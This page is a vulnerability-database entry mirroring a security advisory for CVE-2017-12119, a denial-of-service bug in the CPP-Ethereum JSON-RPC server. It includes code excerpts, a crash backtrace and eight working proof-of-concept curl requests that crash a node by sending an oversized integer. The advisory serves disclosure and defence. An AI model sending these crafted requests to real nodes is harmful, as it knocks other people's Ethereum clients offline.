Vulnerabilities > CVE-2017-12119 - Improper Check for Unusual or Exceptional Conditions vulnerability in Ethereum Cpp-Ethereum

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
HIGH
network
low complexity
ethereum
CWE-754

Summary

An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum JSON-RPC. Specially crafted JSON requests can cause an unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
Application
Ethereum
1

Seebug

bulletinFamilyexploit
description### Summary An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum's JSON-RPC. Specially crafted JSON requests can cause a unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability. ### Tested Versions Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768 ### Product URLs http://cpp-ethereum.org ### CVSSv3 Score 7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### CWE CWE-248: Uncaught Exception ### Details CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage client/node functionality. A lack of proper exception handling in the implementation of some APIs allows a remote attacker to send malformed JSON requests and crash the client/node. The following list of APIs are vulnerable: ``` List of APIs available by default when JSON-RPC server is turned on: - debug_storageRangeAt - debug_traceBlockByNumber List of APIs available when the "--admin-via-http" switch is used: - miner_start - admin_eth_vmTrace - personal_newAccount - admin_eth_getReceiptByHashAndIndex - admin_setVerbosity - admin_verbosity ``` To handle JSON objects, the `JsonCpp` project (https://github.com/open-source-parsers/jsoncpp) is used and the definition of the `asInt` method looks as follows: ``` json_value.cpp Line 732 Value::Int Value::asInt() const { Line 733 switch (type_) { Line 734 case intValue: Line 735 JSON_ASSERT_MESSAGE(isInt(), "LargestInt out of Int range"); Line 736 return Int(value_.int_); Line 737 case uintValue: Line 738 JSON_ASSERT_MESSAGE(isInt(), "LargestUInt out of Int range"); Line 739 return Int(value_.uint_); Line 740 case realValue: Line 741 JSON_ASSERT_MESSAGE(InRange(value_.real_, minInt, maxInt), Line 742 "double out of Int range"); Line 743 return Int(value_.real_); Line 744 case nullValue: Line 745 return 0; Line 746 case booleanValue: Line 747 return value_.bool_ ? 1 : 0; Line 748 default: Line 749 break; Line 750 } Line 751 JSON_FAIL_MESSAGE("Value is not convertible to Int."); Line 752 } ``` for both ints there is an assertion for which the condition is checked by the `isInt` method: ``` Line 1314 bool Value::isInt() const { Line 1315 switch (type_) { Line 1316 case intValue: Line 1317 #if defined(JSON_HAS_INT64) Line 1318 return value_.int_ >= minInt && value_.int_ <= maxInt; Line 1319 #else Line 1320 return true; Line 1321 #endif Line 1322 case uintValue: Line 1323 return value_.uint_ <= UInt(maxInt); Line 1324 case realValue: Line 1325 return value_.real_ >= minInt && value_.real_ <= maxInt && Line 1326 IsIntegral(value_.real_); Line 1327 default: Line 1328 break; Line 1329 } Line 1330 return false; Line 1331 } ``` The `isInt` method distinguishes between integer types but based on exception message thrown for the proof of concepts below, we know that type of this particular `Json::Value` object during construction was set to `uintValue`. If so the value should pass the check at `line 1323`. ``` const Int Value::maxInt = Int(UInt(-1) / 2); const UInt Value::maxUInt = UInt(-1); ``` Here it also looks like JsonCpp developers made a mistake and wrongly took constant value of maxInt instead of maxUInt for the comparison. Nevertheless in both cases we can pass a value which will fail the above checks. In the current situation with the maxInt defined above, we just need to pass integer bigger than 0x7FFFFFFF to trigger an exception. If it were implemented correctly, then we need to pass along a value larger than 0xFFFFFFFF. ``` Line 37 // The call to assert() will show the failure message in debug builds. In Line 38 // release builds we abort, for a core-dump or debugger. Line 39 # define JSON_FAIL_MESSAGE(message) \ Line 40 { \ Line 41 JSONCPP_OSTRINGSTREAM oss; oss << message; \ Line 42 assert(false && oss.str().c_str()); \ Line 43 abort(); \ Line 44 } ``` The following documents each vulnerable API below and provides a POC: `debug_traceBlockByNumber ``` cpp-ethereum\libweb3jsonrpc\DebugFace.h Line 15 DebugFace() Line 16 { (...) Line 20 this->bindAndAddMethod(jsonrpc::Procedure("debug_traceBlockByNumber", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_OBJECT, NULL), &dev::rpc::DebugFace::debug_traceBlockByNumberI); (...) Line 23 } (...) Line 37 inline virtual void debug_traceBlockByNumberI(const Json::Value &request, Json::Value &response) Line 38 { Line 39 response = this->debug_traceBlockByNumber(request[0u].asInt(), request[1u]); Line 40 } ``` At `line 39` everything except the first parameter passed to `debug_traceBlockByNumber` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability: ``` curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545 ``` `adminethgetReceiptByHashAndIndex` ``` cpp-ethereum\libweb3jsonrpc\AdminEthFace.h Line 15 AdminEthFace() Line 16 { (...) Line 30 this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_getReceiptByHashAndIndex", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_getReceiptByHashAndIndexI); (...) Line 37 } (...) Line 91 inline virtual void admin_eth_getReceiptByHashAndIndexI(const Json::Value &request, Json::Value &response) Line 92 { Line 93 response = this->admin_eth_getReceiptByHashAndIndex(request[0u].asString(), request[1u].asInt(), request[2u].asString()); Line 94 } ``` At `line 93` the second parameter passed to `admin_eth_getReceiptByHashAndIndex` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability: ``` curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_getReceiptByHashAndIndex","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545 ``` `adminethvmTrace` ``` cpp-ethereum\libweb3jsonrpc\AdminEthFace.h Line 15 AdminEthFace() Line 16 { (...) Line 29 this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_vmTrace", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_vmTraceI); (...) Line 37 } (...) Line 87 inline virtual void admin_eth_vmTraceI(const Json::Value &request, Json::Value &response) Line 88 { Line 89 response = this->admin_eth_vmTrace(request[0u].asString(), request[1u].asInt(), request[2u].asString()); Line 90 } ``` At `line 89` the second parameter passed to `admin_eth_vmTrace` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability: ``` curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_vmTrace","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545 ``` `admin_setVerbosity` ``` cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h Line 15 AdminUtilsFace() Line 16 { Line 17 this->bindAndAddMethod(jsonrpc::Procedure("admin_setVerbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminUtilsFace::admin_setVerbosityI); (...) Line 20 } (...) Line 22 inline virtual void admin_setVerbosityI(const Json::Value &request, Json::Value &response) Line 23 { Line 24 response = this->admin_setVerbosity(request[0u].asInt(), request[1u].asString()); Line 25 } ``` At `line 89` the second parameter passed to `admin_setVerbosity` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability: ``` curl -X POST --data '{"jsonrpc":"2.0","method":"admin_setVerbosity","params":[112233445566778899,"2"],"id":1}' 192.168.217.155:8545 ``` `admin_verbosity` ``` cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h Line 15 AdminUtilsFace() Line 16 { Line 18 this->bindAndAddMethod(jsonrpc::Procedure("admin_verbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminUtilsFace::admin_verbosityI); (...) Line 20 } (...) Line 26 inline virtual void admin_verbosityI(const Json::Value &request, Json::Value &response) Line 27 { Line 28 response = this->admin_verbosity(request[0u].asInt()); Line 29 } ``` At `line 89` the parameter passed to `admin_verbosity` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability: ``` curl -X POST --data '{"jsonrpc":"2.0","method":"admin_verbosity","params":[112233445566778899],"id":1}' 192.168.217.155:8545 ``` `debug_storageRangeAt` ``` cpp-ethereum\libweb3jsonrpc\DebugFace.h Line 15 DebugFace() Line 16 { (...) Line 18 this->bindAndAddMethod(jsonrpc::Procedure("debug_storageRangeAt", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING,"param4",jsonrpc::JSON_STRING,"param5",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::DebugFace::debug_storageRangeAtI); (...) Line 23 } (...) Line 29 inline virtual void debug_storageRangeAtI(const Json::Value &request, Json::Value &response) Line 30 { Line 31 response = this->debug_storageRangeAt(request[0u].asString(), request[1u].asInt(), request[2u].asString(), request[3u].asString(), request[4u].asInt()); Line 32 } ``` At `line 31` the second and fifth parameter passed to `debug_storageRangeAt` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability: ``` curl -X POST --data '{"jsonrpc":"2.0","method":"debug_storageRangeAt","params":["1",112233445566778899,"3","4",5],"id":1}' 192.168.217.155:8545 ``` `miner_start` ``` cpp-ethereum\libweb3jsonrpc\AdminEthFace.h Line 15 AdminEthFace() Line 16 { (...) Line 31 this->bindAndAddMethod(jsonrpc::Procedure("miner_start", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminEthFace::miner_startI); (...) Line 37 } (...) Line 95 inline virtual void miner_startI(const Json::Value &request, Json::Value &response) Line 96 { Line 97 response = this->miner_start(request[0u].asInt()); Line 98 } ``` At `line 96` the parameter passed to `miner_start` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability: ``` curl -X POST --data '{"jsonrpc":"2.0","method":"miner_start","params":[112233445566778899],"id":1}' 192.168.217.155:8545 ``` `personal_unlockAccount` ``` cpp-ethereum\libweb3jsonrpc\PersonalFace.h Line 15 PersonalFace() Line 16 { (...) Line 18 this->bindAndAddMethod(jsonrpc::Procedure("personal_unlockAccount", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_STRING,"param3",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::PersonalFace::personal_unlockAccountI); (...) Line 37 } (...) Line 28 inline virtual void personal_unlockAccountI(const Json::Value &request, Json::Value &response) Line 29 { Line 30 response = this->personal_unlockAccount(request[0u].asString(), request[1u].asString(), request[2u].asInt()); Line 31 } ``` At `line 30` the third parameter passed to `personal_unlockAccount` API is an integer value. To enforce that, the JSON object calls the `asInt` method to convert the current value to an integer one. Example of a request that triggers this vulnerability: ``` curl -X POST --data '{"jsonrpc":"2.0","method":"personal_unlockAccount","params":["1","2",112233445566778899],"id":1}' 192.168.217.155:8545 ``` ### Crash Information ``` curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545 icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j --ipc --private 123 --no-discovery --datadir `pwd`/data --config config.json --admin-via-http cpp-ethereum, a C++ Ethereum client cpp-ethereum 1.3.0 By cpp-ethereum contributors, (c) 2013-2016. See the README for contributors and credits. Networking disabled. To start, use netstart or pass --bootstrap or a remote host. JSONRPC Admin Session Key: ZUNHn2AgrMM= terminate called after throwing an instance of 'Json::LogicError' what(): LargestUInt out of Int range Aborted (core dumped) gdb-peda$ bt #0 0x00007fa13b121428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54 #1 0x00007fa13b12302a in __GI_abort () at abort.c:89 #2 0x00007fa13ba6484d in __gnu_cxx::__verbose_terminate_handler() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #3 0x00007fa13ba626b6 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #4 0x00007fa13ba62701 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #5 0x00007fa13ba62919 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #6 0x00000000008825aa in Json::throwLogicError(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) () #7 0x000000000088783f in Json::Value::asInt() const () #8 0x00000000005f553e in dev::rpc::DebugFace::debug_traceBlockByNumberI (this=0x10bc4c0, request=..., response=...) at /home/icewall/bugs/cpp-ethereum/libweb3jsonrpc/DebugFace.h:39 #9 0x000000000086ba05 in jsonrpc::AbstractProtocolHandler::ProcessRequest(Json::Value const&, Json::Value&) () #10 0x0000000000868afc in jsonrpc::RpcProtocolServerV2::HandleSingleRequest(Json::Value const&, Json::Value&) () #11 0x0000000000868e0e in jsonrpc::RpcProtocolServerV2::HandleJsonRequest(Json::Value const&, Json::Value&) () #12 0x000000000086aca1 in jsonrpc::AbstractProtocolHandler::HandleRequest(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) () #13 0x0000000000869c4a in jsonrpc::HttpServer::callback(void*, MHD_Connection*, char const*, char const*, char const*, char const*, unsigned long*, void**) () #14 0x00007fa13bd5c344 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10 #15 0x00007fa13bd5d3fc in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10 #16 0x00007fa13bd62da9 in MHD_run_from_select () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10 #17 0x00007fa13bd630b6 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10 #18 0x00007fa13bd63222 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10 #19 0x00007fa13bf766ba in start_thread (arg=0x7fa134d0f700) at pthread_create.c:333 #20 0x00007fa13b1f33dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109 Detaching from program: /home/icewall/bugs/cpp-ethereum/build/eth/eth, process 9058 ``` ### Timeline * 2017-11-03 - Vendor Disclosure * 2018-01-09 - Public Release
idSSV:97064
last seen2018-01-10
modified2018-01-10
published2018-01-10
reporterRoot
titleCPP-Ethereum JSON-RPC Denial Of Service Vulnerabilities(CVE-2017-12119)

Talos

idTALOS-2017-0471
last seen2019-05-29
published2018-01-09
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0471
titleCPP-Ethereum JSON-RPC Denial Of Service Vulnerabilities